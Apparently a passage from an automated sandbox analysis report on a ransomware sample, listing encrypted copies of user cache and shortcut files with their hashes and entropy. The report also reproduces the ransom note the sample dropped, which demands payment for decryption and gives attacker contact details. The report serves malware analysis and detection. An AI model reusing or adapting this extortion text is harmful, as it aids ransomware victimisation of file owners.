Preview:	/! C<.U....D.M.U..2..=...:.^}?.7..R{.....xf..K.:o.......C...k...TB........p.D!..K.jr:..S_..af...6..d..".j.hP....,.K].N..bh..fy..H...E.).H.+...8L.7...<...B....1...3U...j........#.`GL....Y.".9.?..)..1..k.Ry..........e.'....EB..M4 Y3A..%.....T~.U..^..p....`...b1.O.....m...~E.L...y.rYx...7.l.......#.....f...zt...I ....n.{..j.1....Hb.w......A.ZdG.X...D.....2......<..V.0.:G.D...........0&u]6..%..D...3+E.N....o,....7n}..!.v"0.5f{.4v.dy...G.........77.....t......pH.J{J...{:..n.Ij.9kr..-0O.`v..vC..0n....;p.s.CrP..O1......t;&..%..3....)k.N.rDHn.)...n....v.&8..A.G..H...4rH`7..a3j.y.FKO..q....s...I\Z%.....,H.}&P,.\|..!.9...9jA.......n...$...."..m.c.3.Z..\|.dP...P...Q-...$.~.A...............+....o1....{e...%_../CJ.w....P.i.Ej.=.N.G=.26Q5...6.5v.K.g............v...U..O.ISaT%....V/^..m....n.M ..........~...J....z...Y.R.S~.l~.{.zw......^....].2.?."..f-.Ctt.....\|.s...h...........\|QC.F>..b....fj..y..D..../...${_.....B{eJ...eHS..'> .vJ.-b.3......iM9~

C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\53IVYM2Y\PreSignInSettingsConfig[1].json.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	74525
Entropy (8bit):	7.997759356852199
Encrypted:	true
SSDEEP:	1536:sm6bRUu0vRkOPet8NYhvG3FEnEb66ieN4cP2KeK:sm6b2a78N0vGZLD2cP2KeK
MD5:	1583B00486866B4C44CBBB290F9CA0DD
SHA1:	7F3E23DFA57B6E9A545D8D14CDBEE92A6B24D806
SHA-256:	3BEDBF4795AD49EA667B3297A534E1134FD7B2E73954C8DD709EDA24BCDC5158
SHA-512:	F6B62D73E23A167D10E350A65AA960BE81A051BFFCF0634BC1D8BC7F4FA07AFFA3E791FEE2A83322A2073E8DBDCA64CA6A23921B6D56529D60460CD193FDD57C
Malicious:	true
Preview:	{"ram... ..C...p.....e.L......v...~^...S.0.Y......H/].H...of.1A8J..8...IX.S..#...w.u^Ax\|..........ys.....z.CW.v...:R...%...dh....V.@[.6.q...'.H......AC...D......a...,..EV.`...0..n.=....9......<...y].>.s.L.j;F.=_U.j="#........>.-.E.W....7E`f?..].<...8.0d...6./.C.........)....1gl.m.yz...[.pJ'.r+........F...'...C.......$..r{.=.Y.-)..D......h.[............XJ.>_.....>...dN../o.uO....z...I....`X.^..7D.Ba.;h...~.....%&.t.9.A'N..Qa!.......\|s<4.1..C...j.+d-.#.}@.o.J.d...7..4...HI9.6.PJ....R(......Hi1G.e^Q`p\"...7..(h7...~.@}6.D. P.......k`\.t.yRXU.jB..1.......`{._x...5.....Uw..8\|.).&...C....U...S.+C-.`s...J....j...,A.Z*..\.{c.,.#6.. .{..p......s.E..,.z...S4..{..#...J.._.. }....W<..Xn].a.7W?...]}.......ca....u.3...,D.](..`.4./@M.DNv>.....I.v_.o.fu....!.S.+.k..q..T....EUS.".cW...$9..\...X.D......."U>.>DY.F......:...C3...h.=9:......,V).N.J.<D.....k}B..?(L.d..z.o...8...-c.w....\..F.&....y'...l....-..FFAAK0........:.\..j,...G.%N.......J.F./...

C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\9C680Q69\dfb21df16475d4e5b2b0ba41e6c4e842c100b150[1].xml.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	2953
Entropy (8bit):	7.923084659530066
Encrypted:	false
SSDEEP:	48:i01cV2Eult9Mz9WbOXE3rvnr7u7zMqOkdwtzsTCOEXOg/DIE8DHC8GYXUdkgdWAR:heVjypjr7u7xesTb0OFCFYXUxBH
MD5:	D716D7FACE3685864DF93F5016B30C30
SHA1:	2E138ACA61680FD3CB3A2960438AA84BA2005132
SHA-256:	DC0D94B3603A52279DECAAB24F48AF2304AED18E0D799523A8E0DED5B2314FC0
SHA-512:	49CE7CBDEB5018127F6D58435ABEB5DB8EC80C155B346F9C1D3463D7DEDEF230C381E194CE39A5EE8148016278F2F7ECA63F244E913C1B5CB77D76A2D4569878
Malicious:	false
Preview:	.<?.x">.3.A.[&...CK...\c]......g~~.(.knJU.).$;..P....2`HW...Q..$...].....XQNu!)..=.4.79S.6.\......6mnEI.LMM...{qA...]...9..a..... o.r^..I>.v....N.9w.d......P..4sE..%.....+.~..9..Ot..g...H#N.-e...{..7....s..K...r$.&".'pT..8......;.I...a.'.?.D...z.J.&t.D.JG..-.kJ!.hw..=jq^...yh~......2.k.]....!V...(...PQ.B...w...j.n....)..D...J........\|bN..7.W.9.j...`.h.@<......[.Q/.....o~.W..H.(......;W....:ye^..R..L...3A.g.....B.q...T...........U!.V....!.+N}..r6`.wrB>d.4..1..7..IP.}...@.J.B.i......k._w.@...SX....V}.z.^.......0}...sQ.olM..-..f..V....y.......S........:.F-O.C.&S...s..`;.8..1g.Z..4.....:.x^t.=..!..<"...a.%...?.7...=_"2...\|...T.......,..!9.-~...ZS\|w.h[....EE....TD.G9.n..<....&.4'rs.+.~.i.....O..U^.,..'..`.......2.(......2..}...n....1bD......bM....>...%].$...(~.#......#(!V-....HK.^...&.-..+V....tW...pad....t.....C,&.....#E\|Z.RcV..x.].i.0z...S..].Q....D..%>......5...B....d.Z.<.......&E,d.k.G.,..C(m..{;c..WQ.9.".......k...*......O`......-...,_...U.R

C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\9C680Q69\oneDs_f2e0f4a029670f10d892[1].js.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	190486
Entropy (8bit):	7.856305595902897
Encrypted:	false
SSDEEP:	3072:YMoZ7CxNBgggsDdF1BMjdjO8U1cou/vrd/3ZT/K9/ohL+rUWxu:GZ7k5DdF12lO5vGh/3R/K9/Q+rUGu
MD5:	C2BB96D010971609FAC3E101C603F209
SHA1:	BC1AEE03189F4672ACFFAD242D902DF809CD7605
SHA-256:	5FD01773EC92AF05A4807F791E64CBDAAE136387B3C2C27BAD7B1BF8B2576D4D
SHA-512:	45CEE6AB5A9F2A846DFA17C11B0AFA7CAE02018C99170238D669DC388B6413615723208EBE6E4654EA00FCCCB5DF01901823E25870876D62ED6391ACF33A17A9
Malicious:	false
Preview:	(wind.........S.i.5.W..R/..#..i...h.x3_l.Z.....Ux..`r....k....L..R ..7.S.jd..RC....i'..=.-..:...H..."X..,)l.(...."..y<M.._).P.o.....n....naI..}.>H..G.R.... =........q.....\4".p4...) .......C.{g51......Z.._..j.\!........5....t..K.3.$(.@......H..n.;....].i...uH.....b... ....:... G...<`{.3fY,....."..nA..}.^H~\|....qV#.t......C..E....C..b..z9JAz:.%'6.Z...O....B+..-~..ED/..N6.0.I;._.S`..d....]}.t.no!<.=5-..[Rdh.+..J[.U>x..+..X.....J..E-5.`.e....RE9..X<}.7[.2o7.w.Zj.'.....x..gE<..s.(=....ui@..Ab...!h.o.+d..q.k............,!.../i.d.KE....A.x.Ag..I......A.<$.......n.m../#W>.......M..XTh&.[.W._T....BX<j..W.)R....Ve...2.t\|>....v.5.....].k/..5......S0.4 L.@...!1U....B...O.t>"...,.[Q8.n.........Y...X.Z.<6T.$...U.0R.$J~ ..Z.=.<#g..".........P.:9..Ho.7<.Ha..q.........i./.?....lBQl..b.0J..}..nh../.].&.f.f..(X.^...u...8.......$[.r{.'..T....FE..t*[e.pv.a.T......H\|..p.x\....7.......K.Q"...0Ze.... .<k..B...w.....x........wX..Y..O..PpU..\|}.^.U.O...]T......

C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\PMW3U6MX\ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOqiqEgQ2[1].js.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	36937
Entropy (8bit):	7.995353503897984
Encrypted:	true
SSDEEP:	768:w4mKF7iUoexyapH1vsky4UOYEyGiWPwc7d53qKCeRLcHHM:CIiUoSyapZssUHEl3ocT6KCeRLAM
MD5:	5A2002C05C7DC93319470B0411A5A930
SHA1:	5EB46D4792B6A7448E58990F2A0AFA9ED1381222
SHA-256:	056D97D355630BC38A4BBFD56A0FCC022F9733D5EA104E59D91BFC3501B0C2A4
SHA-512:	1D1020A980401FEC8D75BF88F6338A123FD97EB68755BD26DE3453A7BF13F62DAFC0B6B320808410C670B91ED3429E60FAE004140FD213779E463BAE28AD61D3
Malicious:	true
Preview:	!func..#Ng..l(...p....P.+r.Eq.n.......o.2.m?.......k....K!...V.....j..O..:.!.....(..X..j.....r\|..3...\U.~7m.x..U.si.I_ED.9H%....:-e...w:v..c..G....d...(q.C-ac6.......A..d.."9u .05...r.6....@..n.I* .....%.P....Qv.l...L6.'.8...j......%`du....l.'.....:.1.,.....J..,.%.}..h2uA.Re<H...Je.....z...t.2r.5..s.q..........a.5.....m..&i.in.....}a.?..g..>.z.....'.j.7...I..E..a.....&O.p.....c(.@B..w...... .?i/Q.aV.A/~.....o......G~h8.WevO@.>.Y.C../....rU>+"..Er../m.K..Mm"...y.....T.'.....nc...b..S..Go.e.B%...)e.....< @-....f..G..H M}...../i....v.`:..SB...=!.0Q.....y..!k...Z-....._Bux.mJa.....R[n..t...u....@#-.I.u%..Z.^K....en........pk=,.....5t...4.9b#.&.......T<p....."T......(........]&..H)..Ja......B7..p..@.M.....>..S.7..-.........%:..mq..o....s.N.O."........$^G...n....4/...3.-."...d.]..X...2h.U.......<.*.....a.M.:.X.n%.6.5..8.j.s..........l}M..~.._..2..=.0......./..D.!Yt.a.._.s....-...h..i."+.zZ..!U..d..b\j.W,z......f.R.(..J.5.xt...f.>..

C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\PMW3U6MX\Windows[1].json.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	814
Entropy (8bit):	7.7200001097467785
Encrypted:	false
SSDEEP:	12:YWphpoAYEk7wsshrP/9lDQM7v358s9aE69Zrw3YcBWq5kVqB6dxp0ooI9lXxYKns:YEpoOrPP3daJg9P5F2xp0rCe2Fs3zbD
MD5:	A7275BB9646E6666901F9B281D012A6B
SHA1:	AFA461758D73D642093B984AB0F1EBAC8E1441EA
SHA-256:	67D76DD1DEEC394ECFBF1FBA440FF284481E99593529FEB8DB437340B38E7778
SHA-512:	5E1A317F5F768732740F2096594E1AF55BD6FAF6C6971A78CFEFC75FCB4E66FA2F393E34C0930148B03925F9E8A9AC399C24B624B97B924F3E2DA7B3645C8F3D
Malicious:	false
Preview:	{"ser........I...+..[....!...bW..5,V....nf....6'+....f.&...Eg..\.=AR.kuk3P....Cf........v..a.2wC.O.8.`...o.....\|...\|..,....}q%D.s.....V.....c6.?.:......K..Ge..e.Yd._.&./..'..........yT..[.m/.....^.jv.C...xJ3".K@...n...#y..U......?..j.dMX[..]...!u....3.4.'....2\.;....NM-...CFph..1..5.M2.\@Z..r...._..~[..NL....\...I.T..!=..~....+..%M..F...3:...2..l..e......... r6w...B....07k..y~..2.l.x\.../.4.c...W.f...t....D0...a.<r.....Qz^.....29.">..i_...k..P.T.....w.q....#..I....0.wWQ=....90..%.?^..,.,..A....R.@.....5..U)=.....V.:.=u...Jrdq.<.>...a.y...2A....\.}l...BiT.=.S.;VW.}.g.K.f...+.H8...GQ."..M.@..~.c....jj.s.......Z.x D2V....U.... ......d=uZ....T6..Z$..>Naw.<.Eu.F.s~m.;ieV....+VX=.....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\T9RRWRNL\ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2[1].js.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	416128
Entropy (8bit):	6.916101503602988
Encrypted:	false
SSDEEP:	6144:gZL42/ksMcY3y5QN/c7je5DAB+sQbTWtq2MfEmM5xEb/PdSJIw:w8Kksx7QN/c/oAhQ/WIMpuw
MD5:	6959B41826C50D3E536557E40A5E63BE
SHA1:	69DE2B136247C26F68A8FAE0A9F970371C7C5478
SHA-256:	2525AB1E2BCB89624396069769B6C03D368303A167272B718DC47CFC842729B5
SHA-512:	0BDB5E06DC20578A78671E59032E9AF00FC7ED828752B19694DB3B914A0E4D9FDDB062A09769DC6585581330B8DA571752AC3942A9069551AA6E9A6446C693CC
Malicious:	false
Preview:	/!. ."../2..H3).F....._%<.Vt+........#...&kl.......[.\b.o#+kg.aV{.ZS......U.....O...............=F....._....N...$Y.lc.Y2.LF.G...........E...x....M/~.@.;lc.[..u.8..3X.....C..........W....c...Z..Y\|....5.+.6..Y......3....K...>....Y.lFB....ms8....8=..2J.......K&g..-~~...o....C....H...%.B&w.X...F.N(.C^.E..W. .d.E1 .>$.......r..!.S.1.@d..}./G.$'....x......%.yX..hd....LyM.C.%....\.@. G.[Y.P......U{.(.A3.{mX.%:.(.(d........yWq...8.d/.....p.....t..S...ly.....X.V...s...XT..^,~.J?.m.tU...o..a...$....{.M..U....({gy d....b../.HmJ.....X.3.....}.p....S.<.;.7W.......`....z`...1._k.8.W....2.....B....F..w......\|............#1..[.2.....@..c...J....\|{..{.."..Y.^._\|Z..y....v....V.M...PYQ..JT.T.)..8y......:..J.8..A\|.b...FP.X"<.Q.^...}".1_....U.."........c.\|.E[.dy......Q...pQ..Q.....L...&}../.g..A......b.?k>IT.?z.!.w(.~...Dsr...i...4.......mHp.w.........@}O.B..S_r,s.,..#&.....B.wj....T..u.......{$....h ..%..fC.U.]A.?.....9.$.k...........F(.4....~..

C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\T9RRWRNL\Windows[1].json.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	814
Entropy (8bit):	7.734633112307394
Encrypted:	false
SSDEEP:	24:YDoqkZNv7Aup3L9lRHAN0RLAlE0/whYA3zbD:Y1EzAohllASBAlW3nD
MD5:	F329333E3ABB41691BDA30A90A3D9184
SHA1:	5A3AE67AAE7A10724A66AC3F99FFB137B4D801FC
SHA-256:	5335885CBDE0FE5B7F1417ADF382E0B9143E521DBC1573A5464136F37FAB1257
SHA-512:	DDBE5D7153B6938E3DF357F29412733CE6291052A070424F4C5371CDFFC20CB52E6C0832820D5A34279537426ED47BAF234378F9295A2BDD4F5050C667DFFAB0
Malicious:	false
Preview:	{"ser;.U..W<Nr..t!....n.0............o"...#.x.=.$C.@.m@.!.\|o...S.5...../u.'..5....&#.e"c%.......w...n..>.w....s....R:...]..8.........]=....^A..i...S...6...t.LQP..U7...J.NK'....6..;.j...9Y..9K.......f;+=....;p.......n.V...#`..9..Weg..i.h.?.V...%.....V8..7T.y.Fvn.....w..{..z..^,@5i6YQ.D.<..K.-.EG.q/..c.r&.dn.<.1^.M..h.s..X.......!.Ot...9. bq..1Q....C`eX.W.w.3..F..w6......d\K....E..W.I..A.J.'.......A..T.tO .s..g.r[.6v...q...m.l........+L...j.+.....WI........T..k...'_..E.N..TG.bthx..z.<..>.!.......l......A.K..)..Y."z....T.>.....C.}..7...u.W........Z.q....p..>.,.NI.....>.q.v..Gx..$......Z(.J..D*..V...l.M..j..4E...N....9.J.i.B...i.#&a.?......6...8s..-.I.....3...[.."&...@....=.t.2[.&.9.b..xi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\T9RRWRNL\k1[1].rar.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1003}-.searchconnector-ms

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.829957029576445
Encrypted:	false
SSDEEP:	24:eKOR9T9YiO+ILzA9vOQ/6mlos8lbXKvT8ko8fIMVb5RdES3zbD:eKGnOBUnySt8lba4KIMV73nD
MD5:	E3239D145B8FB304B2561A6ABF85D3FA
SHA1:	09F707A66C47A34EEB9F92937998EE36160AD5F6
SHA-256:	500A3D2DC61FC2AA74F5C173E442F0C87274B7CF5FE2CCDE3ADE523202EC838C
SHA-512:	8C0923BF4AE6756D3810827F815BFB71B6DE5E4D80DB7360EDCF5DD72BF7EA952B0BD296DAC830A925B615B9E47C9C363A49BCFAB26E6E5664C4A0B56F6CD88D
Malicious:	false
Preview:	<?xmlqzsP.LcpQ.HeFz....f.Vc...O....Y.3..w._=`..+Q.)6."..(oG..6.9.k..4. .A.)..9R..5R8.H...g..Z...fL.....j..(.H.e..^...F{.>.2.j.0.`.R..le.6XR.r.:3..<.0~.T.....Z..j......0..XYn..q.0J&Z.......,..Yg'@n.Q>...&O....}....q.@g.u..T.[.....+bg...>.q.3;0.hb....d<.(......iU$"@.+...\|.{l.q_.....C..D.&.N.....9.\|.E......G`g.h`.......0.j.$%N?.5.yN..`0...2 .O....@W............../....1.B3....w!.D8._.p....c=.i..W.....W...$..........wvL.1..z.kH......,.{,..9..T..@a._....#...."i._.Qx......8..!.l(....s.d.Bs.qL.8.{.....{.}.....1f...=..l.....U...G.=T..........EC.=....&?ekp.J.]J.?......s..A.....H..xy..#.O. .N5Wk.wa{k.KM.9.....(.15.TG....g.`.KJZ..........*pr.._.....Wj....=./.3T..\.!y..%04[h..H.y"...Gw+........b..Y..j.0z.....8,..].W\|.wp.iX..g..u}........$g..q...Nn..$....U.............P....d!..%E.....yV.....h..C...f...p.O..j..O.!-....XT.5<~N.3.{....SKR`.Q.H...i.A8.......7.c."..q..V.i....o..-.$E.....a..E.,.S9..m..6./......Y.[...`-..W.P........$m...2....

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1003}-.searchconnector-ms.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.829957029576445
Encrypted:	false
SSDEEP:	24:eKOR9T9YiO+ILzA9vOQ/6mlos8lbXKvT8ko8fIMVb5RdES3zbD:eKGnOBUnySt8lba4KIMV73nD
MD5:	E3239D145B8FB304B2561A6ABF85D3FA
SHA1:	09F707A66C47A34EEB9F92937998EE36160AD5F6
SHA-256:	500A3D2DC61FC2AA74F5C173E442F0C87274B7CF5FE2CCDE3ADE523202EC838C
SHA-512:	8C0923BF4AE6756D3810827F815BFB71B6DE5E4D80DB7360EDCF5DD72BF7EA952B0BD296DAC830A925B615B9E47C9C363A49BCFAB26E6E5664C4A0B56F6CD88D
Malicious:	false
Preview:	<?xmlqzsP.LcpQ.HeFz....f.Vc...O....Y.3..w._=`..+Q.)6."..(oG..6.9.k..4. .A.)..9R..5R8.H...g..Z...fL.....j..(.H.e..^...F{.>.2.j.0.`.R..le.6XR.r.:3..<.0~.T.....Z..j......0..XYn..q.0J&Z.......,..Yg'@n.Q>...&O....}....q.@g.u..T.[.....+bg...>.q.3;0.hb....d<.(......iU$"@.+...\|.{l.q_.....C..D.&.N.....9.\|.E......G`g.h`.......0.j.$%N?.5.yN..`0...2 .O....@W............../....1.B3....w!.D8._.p....c=.i..W.....W...$..........wvL.1..z.kH......,.{,..9..T..@a._....#...."i._.Qx......8..!.l(....s.d.Bs.qL.8.{.....{.}.....1f...=..l.....U...G.=T..........EC.=....&?ekp.J.]J.?......s..A.....H..xy..#.O. .N5Wk.wa{k.KM.9.....(.15.TG....g.`.KJZ..........*pr.._.....Wj....=./.3T..\.!y..%04[h..H.y"...Gw+........b..Y..j.0z.....8,..].W\|.wp.iX..g..u}........$g..q...Nn..$....U.............P....d!..%E.....yV.....h..C...f...p.O..j..O.!-....XT.5<~N.3.{....SKR`.Q.H...i.A8.......7.c."..q..V.i....o..-.$E.....a..E.,.S9..m..6./......Y.[...`-..W.P........$m...2....

C:\Users\user\SendTo\Bluetooth File Transfer.LNK.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1383
Entropy (8bit):	7.845700597849527
Encrypted:	false
SSDEEP:	24:N/B9kOdttKGqP9v51iQgSi/ipB1hFl0/n/iUOFMC+Q3wH0S7Dw3yJ3WSF1Gu3HMb:tB9kg8Fv5VgpipBrFlUDSfP3wH0S7Dw3
MD5:	4595DD08DEA6B003617493A767BD6582
SHA1:	817E67D00A2504534D8A7E8DDF371951D0524973
SHA-256:	D3399905DDD0E80C769FFEFF8E75DBCE4CA66E12F8DFF5A19DC42CD1E7F755D3
SHA-512:	9DF541AFCB8E97FDECD841FB3CAC66E5B9446084873169C710BB012423F8FEEC815ABBF48D77AB5DDB381A4C989C07E2C65DB9EE43C72AA0969962A6A06C345C
Malicious:	false
Preview:	L....:[..bj...-..r..f.oy.{.m.q$@{3....J..<f.i........p..u].->8$.8q...]h.....w.^...n.!s..M....6.D(.&.Y....1..>N..5...Y.i..T$;/..N;..n....&E.N.yP..N)..g..M.{Q.\|..}.yx.%."..6TI%.....5.Y....I....u..8..J^..b..8..D.uAS..~[.O..71..........^ynU.P~..y.?.......BoA...BZ...i<...F...#E..=+/2.h..U.B..Y._yh...!....w.:..iy.vPpa.]..^e\:...I..b.......3.S..e..K..7).\4...MG1.oMC.......G"...L.O..E.k5/...W5V..+.4%..&...N......v.....g....A.+N)F....%;..r$..:.\|...JuQ..c.....1...3.%#.?G.ZA+..B..X......v.S.io.......\Zr..lM....q...4.yT... ........b..lZ>k....;..U..q.u;%:."/.6...9h.9r..-.]1Z.j.....g.*....N.X.......?.\|lV6~..!0..F..-Mza....=S..e...\.2.p...g...k.B.D..gn\..-...&,j$.?>a%..).d_...m......P...0..+-i.!,...#N6......%.......\|b..D..q&.7.No.s..<.&H5...N...]a...^.x.0t.2 ..k.W<2A.rp....&........4"..;......E4...9..1O,....4....!..b..."..<.."...e...ge=.......:\|...).Q.\|5...n..R.n...{...F..\|...<.Qx`>8$.~[._.2.....fg..?..u...P./..e...... .k.j"..O4..!.....`../b.0..H.2..

C:\Users\user\SendTo\Desktop (create shortcut).DeskLink.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	341
Entropy (8bit):	7.279066474412935
Encrypted:	false
SSDEEP:	6:/1w5VGIkV82ugB/SBiRcDlV442SyHNjA7R3c509zMdOsVolWbz6Wcii96Z:/1AGIkVVuAk3lu4jQxAls509k36Wciik
MD5:	1FF3EC3CBE2BED4488DEC25258385D10
SHA1:	FEC1806073A366F83C8335AB35283FCE1EB7D510
SHA-256:	68B04E8EC2FED6196C136932387B40F0D3479E3FB05267E38CA2736F0A9A235B
SHA-512:	7617EEB3191F0157D7086E210E46E8937B5ED5FC7D0AF212C4A8C27A8301822E02FE3ABC2C371AFB4485BD9C7D607B698ACAC2393C9D5FAA7FC28E39946954E3
Malicious:	false
Preview:	deskt...UP.N..U!Lq.A......\.Og....L..9..;.j?n/3.....".....?...)..5..UR.cL._)l.....i...@.N.d..h.w..y`#42.O..@.../..?.......+.w....ua.........V.....u......m...{_......!8.9....~C.(.x.......2.m.zA8.g.He.....+efO....a.WSq.9..b.....xl..y.H.u.U.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\_readme.txt

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1106
Entropy (8bit):	4.884025328365006
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWtfFmFRqrl3W4kA+GT/kF5M2/kAApJx13b:WZHfv0p6WVFPFWrDGT0f/kj53b
MD5:	35779C10C1797CD75D7E64C8579FED59
SHA1:	68C0A5BF86F957E8976300A74F20F2785EEE204A
SHA-256:	ABE1851BFD95CAC28F57A85B9770513ECB91F6A1629F879832AE653BD808CBE5
SHA-512:	E2A89A0143FBA496DCCE1322CCDF88A576BEBB2F8D0C1EA13D2F5CF288D689DEA27672DCE969CE49AE9740E06C31E8B0FD197A447997D6B54DEEE1F56E483022
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-0S984cQ4B3..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@sysmail.ch....Reserve e-mail address to

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Users\user\AppData\Local\Temp\VOsoyD.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.422076798727879
Encrypted:	false
SSDEEP:	6144:gSvfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnNJ0uhiTw:LvloTMW+EZMM6DFyr03w
MD5:	9E42D34C287053EAABF194E3A521F284
SHA1:	6B259B95130CC32A189306056CEF9BEA4362B594
SHA-256:	C4E15DFC2516261D3B16EDBA7DBC9CC9B9267CF5883384AE2417F7C127B45284
SHA-512:	274E5A27130C92307C377F22986C5A27F625883DA9567C8CFCF568D3F4F1FAAC58929D77EA71C71FCCCAA95BAB7454C15A64EEAE53962524EF8958440180D912
Malicious:	false
Preview:	regf?...?....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.'..%...............................................................................................................................................................................................................................................................................................................................................A3.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\_readme.txt

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1106
Entropy (8bit):	4.884025328365006
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWtfFmFRqrl3W4kA+GT/kF5M2/kAApJx13b:WZHfv0p6WVFPFWrDGT0f/kj53b
MD5:	35779C10C1797CD75D7E64C8579FED59
SHA1:	68C0A5BF86F957E8976300A74F20F2785EEE204A
SHA-256:	ABE1851BFD95CAC28F57A85B9770513ECB91F6A1629F879832AE653BD808CBE5
SHA-512:	E2A89A0143FBA496DCCE1322CCDF88A576BEBB2F8D0C1EA13D2F5CF288D689DEA27672DCE969CE49AE9740E06C31E8B0FD197A447997D6B54DEEE1F56E483022
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-0S984cQ4B3..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@sysmail.ch....Reserve e-mail address to

Static File Info

General

